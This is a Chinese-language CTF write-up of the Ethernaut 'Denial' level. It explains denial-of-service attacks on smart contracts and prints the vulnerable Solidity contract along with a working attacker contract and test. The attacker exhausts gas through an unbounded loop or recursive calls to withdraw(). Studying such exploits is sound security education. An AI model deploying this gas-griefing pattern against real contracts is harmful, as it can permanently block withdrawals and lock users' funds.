通过 Ethernaut Denial 了解Denial of Service攻击
on my Github 我通过破解 Ethernaut CTF 学习了智能合约漏洞,对合约进行了安全分析,并提出了相应的安全建议,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。
我们将通过DoS攻击来解决这道题,在正式开始之前,我们首先了解什么是智能合约Denial of Service攻击。
恶意用户或者恶意合约利用合约中的漏洞或者设计不当的地方,来耗尽合约的资源,导致合约无法正常执行或者停止响应。
智能合约 DoS 攻击可能包括以下形式:
平台网址:https://ethernaut.zeppelin.solutions/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
    partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
    uint amountToSend = address(this).balance / 100;
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    payable(owner).transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = block.timestamp;
    withdrawPartnerBalances[partner] +=  amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
    return address(this).balance;
}
}这个合约容易理解,就是将合约里的收益的 1% 发放给 partner,1% 发放给owner。
在这我们关注 withdraw函数,
withdraw将合约里的收益的 1% 发放给 partner,1% 发放给owner,并更新 partner 领取收益的记录;call函数,该函数是solidity中一个低级函数,它允许我们执行一个外部合约的函数,并没有检查返回值,如果外部合约的函数执行失败,该函数会继续执行下去;// withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }partner.call{value:amountToSend}(""),如果通过对合约进行转账会调用fallback或者receive函数来收款,再看,任何人可以通过setWithdrawPartner函数设置 partner,这是我们可以利用攻击的点;partner.call{value:amountToSend}("")在对未知合约进行外部调用时没有指定固定的 gas 量,仍然可能会产生 DoS 攻击,call-stack-depth 可以看到,外部调用在发起时最多可以使用当前可用 gas 的 63/64,当剩余 1/64 的 gas 无法满足,withdraw 就会失败。根据以上分析,完整的 PoC 代码如下:
interface IDenial {
    function withdraw() external;
    function setWithdrawPartner(address _partner) external;
}
contract Solution {
    address public contractAddress;
    address public owner;
    constructor(address _contractAddress) {
        contractAddress = _contractAddress;
        owner =  msg.sender;
    }
    function exploit() internal {
        uint256 sum;
        for (uint256 index = 0; index < type(uint256).max; index++) {
            sum += 1;
        }
    }
    function attack() public {
        IDenial(contractAddress).setWithdrawPartner(address(this));
    }
    function withdraw() external {
        require(owner ==  msg.sender, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
    fallback() external payable {
        exploit();
        // contractAddress.call(abi.encodeWithSignature("withdraw()"));
    }
}
contract DenialTest is BaseTest {
    Solution public solution;
    function setUp() public override {
        super.setUp();
    }
    function test_Attack() public {
        solution = new Solution(contractAddress);
        solution.attack();
        uint256 beforeBalance = contractAddress.balance;
        contractAddress.call{gas: 10**6 }(abi.encodeWithSignature("withdraw()"));
        uint256 afterBalance = contractAddress.balance;
        require(beforeBalance == afterBalance, "Not successful");
    }
}Denial(contractAddress).setWithdrawPartner将攻击合约设置为partner,攻击合约的fallback函数将调用Denial(contractAddress).withdraw,当调用Denial(contractAddress).withdraw,进入 partner 合约的收款函数后又调用exploit函数(如下)通过一个庞大的循环将 63/64 gas 耗尽,剩余的 1/64 gas 满足不了后续的操作,withdraw 函数失败。    function exploit() internal {
        uint256 sum;
        for (uint256 index = 0; index < type(uint256).max; index++) {
            sum += 1;
        }
    }
    fallback() external payable {
        exploit();
    }fallback回调Denial(contractAddress).withdraw函数,从而导致递归调用,重复进入 withdraw 将 63/64 gas 耗尽,剩余的 1/64 gas 满足不了后续的操作,withdraw 函数失败。    fallback() external payable {
        contractAddress.call(abi.encodeWithSignature("withdraw()"));
    }Denial(contractAddress).setWithdrawPartner(),这个至关重要,尤其涉及资金; 
                如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!